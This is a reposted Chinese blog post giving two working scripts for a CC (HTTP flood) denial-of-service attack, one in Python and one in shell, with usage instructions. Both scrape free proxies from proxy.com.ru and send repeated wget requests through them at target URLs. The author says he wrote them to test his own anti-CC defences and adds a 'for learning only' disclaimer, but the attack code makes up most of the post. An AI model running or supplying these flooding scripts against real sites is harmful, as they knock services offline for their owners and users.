Linux CC攻擊指令碼

來源:互聯網
上載者:User

標籤:cc攻擊指令碼

CC(ChallengeCollapsar)主要是用來攻擊頁面的。大家都有這樣的經曆,就是在訪問論壇時,如果這個論壇比較大,訪問的人比較多,開啟頁面的速度會比較慢,訪問的人越多,論壇的頁面越多,資料庫就越大,被訪問的頻率也越高,佔用的系統資源也就相當可觀。


    最近在做一些防CC的措施,想驗證效果就的有類似CC的攻擊,所以寫了個Python指令碼來類比CC攻擊,其原理很簡單,就是去網路上拉取一下渣渣代理,然後通過代理去訪問伺服器,成本低的嚇人,但影響卻不小...代碼如下(該指令碼只能用於交流學習,一切因該指令碼產生的不良後果,與我無關):

#!/usr/bin/python#-------------------------------------------------------------------------------# Name:        CC.py## Author:      LiuSha## Created:     1/07/2014# Email:       [email protected]#-------------------------------------------------------------------------------import urllib2import reimport osimport threadingimport timeimport randomclass RunCC(threading.Thread):    def __init__(self,proxy,url):        threading.Thread.__init__(self)        self.thread_proxy = proxy        self.thread_url = url        self.thread_stop = False    def run(self):        while not self.thread_stop:            os.system("""wget --ignore-length --cache=off --no-http-keep-alive -t 1 --referer="http://www.10086.com" -U ‘Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)‘ -e "http_proxy=http://%s/" "%s" &"""%(self.thread_proxy,self.thread_url))    def stop(self):        self.thread_stop = True                def get_stock_html(URL):     opener = urllib2.build_opener(        urllib2.HTTPRedirectHandler(),        urllib2.HTTPHandler(debuglevel=0),        )    opener.addheaders = [        (‘User-agent‘,         ‘Mozilla/4.0 (compatible;MSIE 7.0;‘         ‘Windows NT 5.1; .NET CLR 2.0.50727;‘         ‘.NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)‘)         ]    url = "http://proxy.com.ru/%s"%URL    response = opener.open(url)    return ‘‘.join(response.readlines())def Getting_Url():    global CC_Url    file = open(‘url‘,‘r‘)    CC_Url = file.readlines()    file.close()def Getting_list():    global IP_Port    IP_Port = []    for html_list in re.findall(‘list_\d+.html‘,get_stock_html("list_1.html")):        print "getting %s‘s IP:PORT"%html_list        IP_Port += eval(re.sub(‘‘,‘:‘,"%s"%re.findall(‘\d+.\d+.\d+.\d+\d+‘,get_stock_html(html_list))))        def main():    global CC_Dict    CC_Dict = {}    for i_name in range(len(IP_Port)):        CC_Dict[‘Thread%s‘%i_name] = "RunCC(‘%s‘,r‘‘‘%s‘‘‘)"%(IP_Port[i_name],random.choice(CC_Url))    for k,v in CC_Dict.items():        k = eval(v)        k.start()        time.sleep(0.6)        k.stop()        if __name__ == ‘__main__‘:    Getting_Url()    Getting_list()    main()

 使用方法:

###url 檔案一行一個url不嫌多###[[email protected] CC]# cat url http://www.ipython.me/about-mehttp://www.ipython.me/###直接運行###[[email protected] CC]# python cc.py

  帥氣的大飛哥也用shell 粗暴的寫了一個出來,代碼如下:

#!/bin/sh#Email : [email protected]url=$1page_number=`curl http://proxy.com.ru |grep -o "list_.*html"|awk -F "‘" ‘{print $NF}‘|tail -1|grep -o \[0-9\]*`for i in `seq 1 $page_number`docurl  http://proxy.com.ru/list_$i.html|egrep -o "[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}.*[0-9]{2,4}"|awk -F "<|>" ‘{print $1,$NF}‘ >> ip.txtdonewhile read ip portdowget  -b  --cache=off --ignore-length --referer="http://www.10086.com" -U ‘Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)‘ -Y on -e "http_proxy=http://$ip:$port/" "$url"done < ip.txt

本文出自 “IT辰逸” 部落格,請務必保留此出處http://itchenyi.blog.51cto.com/4745638/1545085

Linux CC攻擊指令碼

聯繫我們

該頁面正文內容均來源於網絡整理,並不代表阿里雲官方的觀點,該頁面所提到的產品和服務也與阿里云無關,如果該頁面內容對您造成了困擾,歡迎寫郵件給我們,收到郵件我們將在5個工作日內處理。

如果您發現本社區中有涉嫌抄襲的內容,歡迎發送郵件至: info-contact@alibabacloud.com 進行舉報並提供相關證據,工作人員會在 5 個工作天內聯絡您,一經查實,本站將立刻刪除涉嫌侵權內容。

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.